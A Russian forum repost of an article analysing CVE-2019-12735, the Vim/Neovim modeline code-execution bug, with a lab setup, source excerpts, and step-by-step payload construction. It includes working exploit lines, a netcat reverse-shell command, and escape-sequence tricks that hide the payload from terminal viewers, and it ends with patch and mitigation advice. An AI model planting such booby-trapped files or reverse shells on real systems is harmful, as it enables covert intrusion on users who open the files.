• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Выполняем произвольный код в Vim и Neovim

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Сегодня поговорим об уязвимости в редакторе Vim и его побратиме Neovim. Для ее эксплуатации не нужно никаких привилегий, пользователю достаточно открыть специально сформированный файл, который выполнит произвольный код на целевой системе.

Vim — это бесконечно кастомизируемая среда, которая подходит для решения огромного перечня задач. Кто-то им просто редактирует файлы, а кто-то модифицирует, пока не получится IDE для какого-то из языков программирования. Благодаря такой гибкости Vim остается одним из самых популярных редакторов. Он предустановлен на большей части современных дистрибутивов Linux, поэтому уязвимость в нем потенциально интересна.

Уязвимость обнаружил Армин Размжоу (Armin Razmjou) в середине этого года. Ей присвоен номер CVE-2019-12735: «уязвимость выполнения произвольного кода в Vim и Neovim». Под угрозой оказались версии Vim, которые не содержат патча 8.1.1365, и версии Neovim ниже 0.3.6.

Причина бага в том, что функция source обрабатывает файлы вне защищенного окружения. Это позволяет злоумышленнику выполнить любые команды, которые доступны в Vim.


Стенд

Для начала поднимем стенд с уязвимыми версиями Vim и Neovim. Будем использовать контейнер Docker с Debian.
Код:
$ docker run --rm --hostname vimrce --name vimrce --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -it debian /bin/bash
Устанавливаем все необходимые зависимости.
Код:
$ apt update && apt install -y nano build-essential cmake wget unzip pkg-config libtool libtool-bin gettext git gdb libncurses5-dev libncursesw5-dev strace ltrace
Такая портянка нужна, потому что мы будем компилировать дистрибутивы редакторов из исходников. Скачиваем уязвимые версии: для Vim это все, что ниже версии 8.1.1365, а для Neovim — не выше 0.3.5.
Код:
$ cd ~
$ git clone https://github.com/vim/vim.git --depth=1 --branch=v8.1.1364
$ git clone https://github.com/neovim/neovim.git --depth=1 --branch=v0.3.5
Компилим и устанавливаем Vim. Включаем флаги для добавления отладочной информации.
Код:
$ cd ~/vim
$ sed -i 's@#STRIP = /@STRIP = /@' src/Makefile
$ CFLAGS="-g -DDEBUG" ./configure
$ make
$ make install
То же самое проделываем и для Neovim.
Код:
$ cd ~/neovim
$ make CMAKE_EXTRA_FLAGS="-g"
$ make install
Теперь нам нужно создать конфигурационные файлы, в которых надо активировать modeline. Для Vim это .vimrc в домашней директории, а для Neovim — init.vim.
Код:
$ echo "set modeline" > ~/.vimrc
$ mkdir -p ~/.config/nvim/
$ echo "set modeline" > ~/.config/nvim/init.vim
Стенд готов. Можешь запустить редакторы и проверить их работоспособность.

Готовый стенд с уязвимыми версиями Vim и Neovim

Готовый стенд с уязвимыми версиями Vim и Neovim

Чтобы выйти из Vim без сохранения результатов редактирования файла, нужно перейти в нормальный режим с помощью Esc и ввести :q!. Ура, ты спасен!


Детали уязвимости

Для начала давай разберемся, что такое modeline. В Vim существует четыре основных режима работы: обычный режим, режим вставки, командный режим и визуальный режим.

Отображение режима работы редактора Vim

Отображение режима работы редактора Vim

Для перехода в обычный режим нужно нажать Esc, а с помощью : можно войти в командный. В нем ты можешь выполнять команды, встроенные в Vim или предоставляемые плагинами. Это могут быть самые разные действия: настройка среды и рабочих файлов, функции, связанные с обработкой текста, команды оболочки и тому подобное.

Не прописывать команды каждый раз вручную и настроить среду Vim под свои нужды помогает файл .vimrc. По аналогии с .bashrc он выполняется каждый раз при запуске Vim. Если такой файл находится в корневом каталоге текущего пользователя, то он будет загружен автоматически.

Это все, конечно, удобно, но что, если нужно переопределить какие-то настройки для конкретного типа файлов или вообще в пределах одного документа? Тут на помощь и приходит modeline. Этот режим позволяет определить в открываемом файле опции его редактирования. Настройки задаются напрямую в файле, по дефолту интерпретируется первая и последняя строка. Если они соответствуют шаблону, то Vim выполняет их.

В некоторых современных дистрибутивах Linux этот режим включен по умолчанию. Если версия твоего редактора в зоне риска, то набери команду :set modeline?. Увидишь в ответ nomodeline — считай, что ты в безопасности и уязвимость на тебя не распространяется.

Существует два формата указания опций в modeline. Первый — короткий.
Код:
[любой_текст]{пробел_или_таб}{vi:|vim:|ex:}[пробел_или_таб]{опции}
В качестве опций указывается список необходимых настроек, разделенных пробелом или двоеточием. Каждая часть перед символом двоеточия — это аргумент для :set. Например, часто задают кастомную ширину строки, размер табуляции и замену табов на пробелы.
Код:
vim:tw=80 ts=4 et
Второй формат — расширенный.
Код:
[любой_текст]{пробел_или_таб}{vi:|vim:|ex:}[пробел_или_таб]se[t] {опции}:[любой_текст]
В этом формате те же самые опции будут выглядеть следующим образом:
Код:
/* vim: set textwidth=80 tabstop=4 expandtab: */
Разумеется, в целях безопасности в modeline можно использовать не все настройки.

Не все опции доступны для изменения через modeline

Не все опции доступны для изменения через modeline

Например, попробуем поменять кодировку, в которой работает редактор. За это отвечает опция enc.
Код:
/* vim: set enc=foo: */

Опция enc недоступна для изменения через modeline

Опция enc недоступна для изменения через modeline

/src/option.c
Код:
4544:       /* Disallow changing some options from modelines. */
4545:       if (opt_flags & OPT_MODELINE)
4546:       {
4547:       if (flags & (P_SECURE | P_NO_ML))
4548:       {
4549:           errmsg = _("E520: Not allowed in a modeline");
4550:           goto skip;
4551:       }
Помимо обычных опций, допускается использование выражений.
Код:
/* vim: set fdm=expr fde=getline(v\:lnum)=~'{'?'>1'\:'1': */

Все выражения выполняются в режиме песочницы (sandbox).

Выражения из modeline выполняются в песочнице

Выражения из modeline выполняются в песочнице

В ней допускается применение только простейших «безопасных операций».

Обратимся к сорцам. Проверяет, можно ли запустить выражение в песочнице, функция check_secure.

/src/ex_cmds.c
Код:
4802:     int
4803: check_secure(void)
4804: {
4805:     if (secure)
4806:     {
4807:   secure = 2;
4808:   emsg(_(e_curdir));
4809:   return TRUE;
4810:     }
4811: #ifdef HAVE_SANDBOX
4812:     /*
4813:      * In the sandbox more things are not allowed, including the things
4814:      * disallowed in secure mode.
4815:      */
4816:     if (sandbox != 0)
4817:     {
4818:   emsg(_(e_sandbox));
4819:   return TRUE;
4820:     }
4821: #endif
4822:     return FALSE;
4823: }
Если пробежаться по исходникам, то можно заметить, что функция source разрешена для запуска через modeline и она работает не в песочнице. Эта функция очень ненадежна с точки зрения безопасности, так как выполняет команды Vim из указанного файла.

Описание команды source

Описание команды source

/src/ex_cmds2.c
Код:
3214: /*
3215:  * ":source {fname}"
3216:  */
3217:     void
3218: ex_source(exarg_T *eap)
3219: {
...
3236:   cmd_source(eap->arg, eap);
3237: }
...
3240: cmd_source(char_u *fname, exarg_T *eap)
3241: {
...
3245:     else if (eap != NULL && eap->forceit)
3246:   /* ":source!": read Normal mode commands
3247:    * Need to execute the commands directly.  This is required at least
3248:    * for:
3249:    * - ":g" command busy
3250:    * - after ":argdo", ":windo" or ":bufdo"
3251:    * - another command follows
3252:    * - inside a loop
3253:    */
3254:   openscript(fname, global_busy || listcmd_busy || eap->nextcmd != NULL
3255: #ifdef FEAT_EVAL
3256:                        || eap->cstack->cs_idx >= 0
3257: #endif
3258:                        );
Когда после source указан модификатор !, команды из файла выполняются, как если бы мы их вводили в нормальном режиме. За это поведение отвечает флаг forceit (eap->forceit).

Выполнение команды source! в Vim

Выполнение команды source! в Vim

Создадим файл с пейлоадом.

poc
Код:
:!uname -a
Чтобы вызвать его через modeline, в первую очередь нам нужно найти функцию, которая принимает выражения. В Vim, как и в большинстве IDE, есть возможность сворачивать участки кода (folding). Например, если ты не хочешь видеть тело функций при открытии файла, то устанавливаешь метод indent в foldmethod, и все строки, которые содержат отступы, будут свернуты.

hello.c
C-подобный:
1: /* vim: set foldmethod=indent: */
2: #include <iostream>
3: using namespace std;
4: int main()
5: {
6:     cout << "Hello, World!";
7:     return 0;
8: }
Сворачивание строк с отступами. foldmethod установлен в indent

Сворачивание строк с отступами. foldmethod установлен в indent

В Vim можно кастомизировать любой чих, и сворачивание — это не исключение. Ты можешь указать свою функцию свертывания, которая будет приводить документ к желаемому виду. Возьмем на вооружение эти функции для того, чтобы вызвать команду source и выполнить наш пейлоад.

Для начала нужно включить режим свертывания (на случай, если он был отключен в .vimrce). Это можно сделать, используя команду foldenable.
Код:
/* vim: set foldenable: */
Затем в foldmethod указываем тип свертывания. Нам нужен expr.
Код:
/* vim: set foldenable foldmethod=expr: */
Теперь в foldexpr нужно задать выражение, которое будет выполнено для сворачивания строк. Здесь воспользуемся функциями, которые принимают команды, — assert_beeps и assert_fails отлично подойдут.
Код:
/* vim: set foldenable foldmethod=expr foldexpr=assert_beeps(): */
Некоторые функции, принимающие в качестве аргументов команды Vim

Некоторые функции, принимающие в качестве аргументов команды Vim

/src/eval.c
Код:
9691: assert_beeps(typval_T *argvars)
9692: {
...
9700:     do_cmdline_cmd(cmd);
...
9732: assert_fails(typval_T *argvars)
9733: {
...
9741:     do_cmdline_cmd(cmd);

/src/eval.c
Код:
590: do_cmdline_cmd(char_u *cmd)
591: {
592:     return do_cmdline(cmd, NULL, NULL,
593:                   DOCMD_VERBOSE|DOCMD_NOWAIT|DOCMD_KEYTYPED);
594: }
В теле assert_beeps уже можно парсить наш файл с пейлоадом при помощи команды source.
Код:
/* vim: set foldenable foldmethod=expr foldexpr=assert_beeps('source\!\ poc'): */
Здесь не забываем про экранирование пробелов, так как это разделитель команд, и остальных спецсимволов. Осталось указать уровень свертывания по умолчанию и текст, который отображается, когда код свернут. Это можно сделать при помощи опций foldlevel и foldtext соответственно.
Код:
/* vim: set foldenable foldmethod=expr foldexpr=assert_beeps('source\!\ poc') foldlevel=0 foldtext=: */
Теперь добавим получившуюся строку в файл и откроем его в Vim. Я сделал это через отладчик и поставил бряк на функцию cmd_source.

Вызов команды source через modeline в отладчике

Вызов команды source через modeline в отладчике

В результате GDB показывает нам, что после открытия файла вызывается файл poc и пейлоад отрабатывает: на экране видим результат выполнения uname -a.

Результат выполнения пейлоада при открытии файла в Vim

Результат выполнения пейлоада при открытии файла в Vim

Тот же результат получим при использовании второй (сокращенной) формы вызова modeline.
Код:
// vi:fen:fdm=expr:fde=assert_beeps('source\!\ poc'):fdl=0:fdt=
На этом этапе для успешной эксплуатации нужно два файла — один с пейлоадом, а второй для его вызова, что, сам понимаешь, не очень удобно. Исправить дело нам поможет регистр % — он указывает на текущий файл.
Код:
:reg %
Содержимое регистра % в Vim

Содержимое регистра % в Vim

То есть команда :source! % откроет этот же файл и выполнит команды, которые в нем указаны.

Использование регистра % в команде source

Использование регистра % в команде source

Таким образом, наш эксплоит примет следующий вид:
Код:
// vi:fen:fdm=expr:fde=assert_beeps('source\!\ \%'):fdl=0:fdt=
Теперь надо записать в этот же файл команды, которые нужно выполнить, то есть сделать пейлоад плюс эксплоит — два в одном. В самом начале файла указываем, что хотим выполнить:
Код:
:!uname -a
Все, что идет после команды, тоже будет выполнено, поэтому с помощью || укажем любую команду, которая не будет отсвечивать, например true.
Код:
:!uname -a||true
Дальше нужно вставить modeline. Чтобы не сломать командную строку, возьмем ее в кавычки.
Код:
:!uname -a||true " vi:fen:fdm=expr:fde=assert_beeps('source\!\ \%'):fdl=0:fdt= "
Можно и просто использовать одни лишь кавычки, без true, только в таком случае нужно быть уверенным, что первая команда отработает успешно, иначе в командную строку улетит содержимое скобок и ты получишь мусор — ответ от шелла «Команда не найдена».

Мусор в командной строке после некорректно отработавшей команды

Мусор в командной строке после некорректно отработавшей команды

В результате и shell-команда получилась верная, и modeline корректный.

poc
Код:
1: :!uname -a||true " vi:fen:fdm=expr:fde=assert_beeps('source\!\ \%'):fdl=0:fdt= "
Открываем полученный файл в Vim, и команда выполняется.

Успешная эксплуатация выполнения команд в Vim через modeline

Успешная эксплуатация выполнения команд в Vim через modeline

Вместо source также можно использовать ее сокращенную версию so.

poc
Код:
1: :!uname -a||true " vi:fen:fdm=expr:fde=assert_beeps('so\!\ \%'):fdl=0:fdt= "
Конечно же, после того как команда отработает, выполнение вернется в редактор и пользователь увидит наш пейлоад. Это можно поправить, используя магию управляющих последовательностей в терминале. Двухсимвольные управляющие последовательности начинаются с символа ESC (0x1B), а если последовательность содержит более двух символов, то добавляется еще и символ [ (0x5B). Такие конструкции также называются escape-последовательностями, так как они начинаются с символа ESC.

Разберем один из эксплоитов с GitHub за авторством Arminius.

Исходный код эксплоита для Vim

Исходный код эксплоита для Vim

В начале файла идут две управляющие последовательности:
  • Esc[?7l (1b 5b 3f 37 6c);
  • EscS (1b 53).
Первая отключает автоматический перенос строк (auto-wrap mode), чтобы дальнейшие действия правильно отработали. Вторая последовательность отработает в Vim. Это команда для удаления текущей строки и вход в режим редактирования содержимого (Insert).

Первые две эскейп-последовательности в эксплоите

Первые две эскейп-последовательности в эксплоите

Затем идет строка Nothing here., которая вводится в качестве текста файла, и после нее — кнопка Esc (1b), то есть выходим из режима Insert в режим Normal. Далее идет пачка внутренних команд Vim.
Код:
silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0:
Модификатор silent! перед командой подавляет любой ее вывод, даже если это ошибка.
  • w записывает изменения в текущий файл;
  • call выполняет вызов функции; в нашем случае это system, которая исполняет shell-команду. Здесь это бэкконнект через netcat;
  • redraw! обновляет содержимое экрана, предварительно очистив его (модификатор !);
  • file выводит информацию о текущем файле: имя, позицию курсора, статус файла и тому подобное. Не совсем понятно, зачем это нужно, можно выкинуть.
В конце еще один модификатор silent!, нужный для того, чтобы остаток файла был интерпретирован как команда. Ошибка (несуществующая конструкция) будет подавлена.

После этого идет уже знакомый нам пейлоад для открытия текущего файла. Затем идут эскейп-последовательности, которые скрывают содержимое файла от терминальных читалок типа cat.
  • 16 — аналог сочетания Ctrl-V для входа в режим ввода raw, где введенные символы не интерпретируются драйвером терминала;
  • Esc[1G (1B 5B 31 47) — двигаем курсор на нужную позицию. Она указывается числом перед символом G, здесь 1 — на начало текущей строки. По умолчанию как раз эта позиция и стоит, поэтому единицу можно не указывать;
  • 16 — снова входим в режим raw;
  • Esc[K (1B 5B 4B) — стираем содержимое строки, начиная с указанной позиции. Если не указано число до символа K, то считается, что оно равно нулю, и удаляется до конца строки;
  • Nothing here. — текст, который будет выводиться в терминал;
  • 16 — снова входим в режим raw;
  • Esc[D (1B 5B 44) — возвращаем курсор на предыдущую позицию.
Благодаря этой конструкции при просмотре, например при помощи cat, ты не будешь видеть реальное содержимое файла.

Скрытие содержимого эксплоита с помощью escape-последовательностей в терминале

Скрытие содержимого эксплоита с помощью escape-последовательностей в терминале

Конечно же, этот трюк работает только для банального скрытия пейлоада. Просто открыв файл через nano или cat с флагом -v, легко обойти эту технику.
Код:
cat -v shell.txt
Раскрываем содержимое эксплоита

Раскрываем содержимое эксплоита

В Neovim этот эксплоит тоже работает. Плюс в этой версии редактора имеется функция nvim_input, которая также уязвима.
Код:
#  vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ -a\\n"):fdl=0
Чтобы каждый раз не возиться с редактированием пейлоадов для тестирования, можешь попробовать воспользоваться, например, генератором, который написал mikaelkall. В качестве параметров нужно будет указать адрес бэкконнекта, имя файла и опционально его содержимое.
Код:
build.py <lhost> <lport> <filename> [content]


Демонстрация уязвимости (видео)




Вывод

Эта уязвимость еще раз доказывает, что не стоит бездумно открывать неизвестные файлы даже в обычных редакторах. Их функции не только упрощают жизнь пользователям, но и создают дополнительные векторы для атак.

Разработчики Vim и Neovim оперативно выпустили патчи для устранения найденных уязвимостей. Эти патчи уже входят в последние версии популярных дистрибутивов Linux. Патч под номером 8.1.1365 для Vim добавляет проверку check_secure в функцию openscript, и теперь песочница не даст безнаказанно вытворять что вздумается. Если ставить заплатку ты не хочешь, то отключи использование modeline. Для этого нужно добавить в файл .vimrc такую строчку:
Код:
set nomodeline
Ну и конечно, почаще обновляй ОС и софт и не доверяй файлам, которые пришли из неизвестных источников. Даже если они просто текстовые.


Автор @aLLy
http://russiansecurity.expert
взято с хакер.ру
 
Двоякое чувство. С одной стороны уж больно академично, и хочется сказать что это не баг а фича,
но с другой стороны это реально красивый вектор атаки.

ps. Ксакеп возродил VisualHack? Как-то прежде на глаза не попадалось.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх